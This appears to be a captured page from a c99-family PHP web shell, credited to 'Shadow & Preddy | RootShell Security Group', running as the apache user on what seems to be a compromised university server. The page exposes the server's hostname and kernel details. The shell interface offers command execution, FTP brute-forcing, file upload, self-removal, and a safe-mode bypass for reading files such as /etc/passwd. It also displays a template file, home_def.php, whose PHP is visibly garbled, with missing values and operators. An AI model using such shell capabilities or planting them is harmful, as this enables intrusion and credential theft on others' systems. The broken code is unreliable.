!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/templates/phdswu/compiled/   drwxr-xr-x
Free 50.82 GB of 127.8 GB (39.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     home_def.php (8.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<?php $var['rain'] = $GLOBALS?>
<!-- home | generated by RainTPL v 1.0 | www.RainTPL.com -->
<!-- JQUERY i -->
<script type="text/javascript" src="templates/moling/jquery.corner.js"></script>
<script type="text/javascript">
    $(document).ready(function() {
        $('.tpl_corners').corner();
    });
</script>
<!-- JQUERY e -->

<div class="tpl_inbox">
    <div id="header">
        <h1><strong>Action Research : Open Source Software </strong></h1>
        <p>Srinakharinwirot University</p>
    </div>
    <div class="tpl_main">
    

            <div class="tpl_login">
                
                <?php
                    
global $user;
                    if (!
isUser($user)) {
                
?>
                <a href="index.php?page=users" title="Register or Login"><div><?php echo _REGISTER_." "._OR_." "._LOGIN_?></div></a>
                <?php
                    
} else {
                
?>
                <a href="index.php?page=users" title="Register or Login"><div><?php echo _HI_." <b>$user</b>"?></div></a>
                <?php
                    
}
                
?>
            </div>
    </div>

    <!-- path -->
<div class="tpl_bar"><div><img src="templates/phdswu/images/smarr.gif" width="9" height="6" alt="&gt;">&nbsp;<?php echo $var["showpath"];?></div></div>
    
    
    <!-- start page -->
<div id="wrapper">
<div id="page">
    <!-- start sidebar -->
    <div id="sidebar">
        <ul>
            <li>
                <ul>
                    <li><a href="index.php?page=articles">บทความ</a></li>
                    <li><a href="index.php?page=archive">Archive</a></li>
                    <li><a href="index.php?page=download">ดาวน์โหลด</a></li>
                </ul>
            </li>
      </ul>
    </div>
    <!-- end sidebar -->
</div>
    <div style="clear:both">&nbsp;</div>
</div>
    
    
    <div class="tpl_main">
        <div class="tpl_content">
            <table width="100%" border="0" cellpadding="0" cellspacing="0">
                <tr>
                    <!-- NAVIGATOR -->
                    <?php
    
if( $var["fullscreen"] < ){
?>
                    <td class="tpl_box_nav" valign="top">
                        <?php
        
if( isset( $var["tpl_blocks_navigator"] ) ){
            
$counter1 0;
            foreach( 
$var["tpl_blocks_navigator"] as $key1 => $value1 ){ 
?>
                            <?php
            
if( @$value1["flag"] == ){
?>
                                <div class="tpl_block tpl_corners">
                                <?php
                
if( $value1["usetitle"] > ){
?>
                                    <div class="tpl_block_title"><div><?php echo $value1["title"];?></div></div>
                                <?php
                
}
?>
                                <div class="tpl_block_body"><?php echo $value1["content"];?></div>
                            <?php
            
}
                elseif( @
$value1["flag"] == ){
?>
                                <div class="tpl_block_h1 tpl_corners">
                                <?php
                    
if( $value1["usetitle"] > ){
?>
                                    <div class="tpl_block_title_h1"><div><?php echo $value1["title"];?></div></div>
                                <?php
                    
}
?>
                                <div class="tpl_block_body_h1"><?php echo $value1["content"];?></div>
                            <?php
                
}
                    elseif( @
$value1["flag"] > ){
?>
                                <div class="tpl_block_h2 tpl_corners">
                                <?php
                        
if( $value1["usetitle"] > ){
?>
                                    <div class="tpl_block_title_h2"><div><?php echo $value1["title"];?></div></div>
                                <?php
                        
}
?>
                                <div class="tpl_block_body_h2"><?php echo $value1["content"];?></div>
                            <?php
                    
}
?>
                            </div>
                        <?php
                        $counter1
++;
                    }
                }
?>
                    </td>
                    <?php
            
}
?>
                    <td valign="top">
                        <?php if (!isset($_GET['page'])) { ?> 
                        
<iframe src="http://www.google.com/calendar/embed?title=SWU-Research&amp;showTabs=0&amp;showCalendars=0&amp;showTz=0&amp;height=300&amp;wkst=1&amp;bgcolor=%23FFFFFF&amp;src=cril9prbe0tu6irn66gggjkgp8%40group.calendar.google.com&amp;color=%232952A3&amp;ctz=Asia%2FBangkok" style=" border-width:0 " width="690" height="300" frameborder="0" scrolling="no"></iframe> <p>&nbsp;  </p>
                        
                        <?php ?>
                        <table width="100%" border="0" cellpadding="0" cellspacing="0">
                            <tr>
                                <!-- EXTRA -->
                                <?php
            
if( $var["fullscreen"] < ){
?>
                                <td class="tpl_box_extra" valign="top">
                                    <?php
                
if( isset( $var["tpl_blocks_extra"] ) ){
                    
$counter1 0;
                    foreach( 
$var["tpl_blocks_extra"] as $key1 => $value1 ){ 
?>
                                        <?php
                    
if( @$value1["flag"] == ){
?>
                                            <div class="tpl_block tpl_corners">
                                            <?php
                        
if( $value1["usetitle"] > ){
?>
                                                <div class="tpl_block_title"><div><?php echo $value1["title"];?></div></div>
                                            <?php
                        
}
?>
                                            <div class="tpl_block_body"><?php echo $value1["content"];?></div>
                                        <?php
                    
}
                        elseif( @
$value1["flag"] == ){
?>
                                            <div class="tpl_block_h1 tpl_corners">
                                            <?php
                            
if( $value1["usetitle"] > ){
?>
                                                <div class="tpl_block_title_h1"><div><?php echo $value1["title"];?></div></div>
                                            <?php
                            
}
?>
                                            <div class="tpl_block_body_h1"><?php echo $value1["content"];?></div>
                                        <?php
                        
}
                            elseif( @
$value1["flag"] > ){
?>
                                            <div class="tpl_block_h2 tpl_corners">
                                            <?php
                                
if( $value1["usetitle"] > ){
?>
                                                <div class="tpl_block_title_h2"><div><?php echo $value1["title"];?></div></div>
                                            <?php
                                
}
?>
                                            <div class="tpl_block_body_h2"><?php echo $value1["content"];?></div>
                                        <?php
                            
}
?>
                                        </div>
                                    <?php
                                $counter1
++;
                            }
                        }
?>
                                </td>
                                <?php
                    
}
?>
                                
                                <!-- MAIN -->
                                <td class="tpl_box_main" valign="top">
                                    <!-- MAIN CONTENT i -->                            
                                        
                                        <!-- MESSAGES i -->
                                        <?php
                    
if( isset( $var["tpl_messages"] ) ){
                        
$counter1 0;
                        foreach( 
$var["tpl_messages"] as $key1 => $value1 ){ 
?>
                                            <div class='tpl_messages_title'><?php echo $value1["title"];?></div>
                                            <div class='tpl_messages_body tpl_corners'><?php echo $value1["content"];?></div>
                                        <?php
                            $counter1
++;
                        }
                    }
?>
                                        <!-- MESSAGES e -->
                                                            
                                        <!-- CENTRAL BLOCKS i -->
                                        <?php
                    
if( isset( $var["tpl_blocks_central"] ) ){
                        
$counter1 0;
                        foreach( 
$var["tpl_blocks_central"] as $key1 => $value1 ){ 
?>
                                            <?php
                        
if( $value1["usetitle"] > ){
?>
                                                <div class="tpl_block_title_c"><?php echo $value1["title"];?></div>
                                            <?php
                        
}
?>
                                            <div class="tpl_block_body_c tpl_corners"><?php echo $value1["content"];?></div>
                                        <?php
                            $counter1
++;
                        }
                    }
?>
                                        <!-- CENTRAL BLOCKS e -->
                                                                
                                        <!-- PAGE i -->
                                        <?php
                    
if( $var["tpl_page"]["title"] != '' ){
?>
                                            <div class='tpl_page_title'><img src="templates/moling/images/smarr.gif" width="9" height="6" alt="&gt;" style="margin-bottom:2px;">&nbsp;
                                            <?php
                        
if( $var["tpl_page"]["url"] != '' ){
?>
                                                <a href='<?php echo $var["tpl_page"]["url"];?>' title='<?php echo $var["tpl_page"]["title"];?>'><?php echo $var["tpl_page"]["title"];?></a>
                                            <?php
                        
}
                        else{
?>
                                                <?php echo $var["tpl_page"]["title"];?>
                                            <?php
                        
}
?>
                                            </div>
                                        <?php
                    
}
?>
                                        <?php
                    
if( $var["tpl_page"]["name"] == 'blog' ){
?> <?php
$RainTPL_include_obj 
= new RainTPL();
$RainTPL_include_obj->assign$var );
$RainTPL_directory_template_temp $RainTPL_include_obj->tpl_dir;
$this->tpl_dir $GLOBALS'RainTPL_tpl_dir' ] = $RainTPL_include_obj->tpl_dir "/" dirname"blog" );
$RainTPL_include_obj->drawbasename"blog" ) );
$this->tpl_dir $GLOBALS'RainTPL_tpl_dir' ] = $RainTPL_directory_template_temp;
?> <?php
                    
}
?>
                                        <?php
                    
if( $var["tpl_page"]["name"] == 'news' ){
?> <?php
$RainTPL_include_obj 
= new RainTPL();
$RainTPL_include_obj->assign$var );
$RainTPL_directory_template_temp $RainTPL_include_obj->tpl_dir;
$this->tpl_dir $GLOBALS'RainTPL_tpl_dir' ] = $RainTPL_include_obj->tpl_dir "/" dirname"news" );
$RainTPL_include_obj->drawbasename"news" ) );
$this->tpl_dir $GLOBALS'RainTPL_tpl_dir' ] = $RainTPL_directory_template_temp;
?> <?php
                    
}
?>
                                        <div><?php echo $var["tpl_page"]["content"];?></div>
                                        <!-- PAGE e -->
                                    <!-- MAIN CONTENT e -->
                                </td>
                            </tr>
                        </table>
                    </td>                    
                </tr>
            </table>
            <div class="tpl_foot tpl_corners">
                <div><?php echo $var["copyright"];?></div>
                <!--
                //=====================================================================
                // MemHT Portal is free, released under a very permissive license as
                // GNU/GPL: you can use, modify and distribute it. I'm only asking to
                // leave the following copyright piece of code intact according to the
                // license policy. Thanks
                //=====================================================================
                -->
                <div><?php echo $var["copytext"];?></div>
                <div><?php echo $var["footmsg"];?></div>
            </div>
        </div>
    </div>
    <div class="tpl_footer">&nbsp;</div>
</div>
<!--/ home -->

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.1099 ]--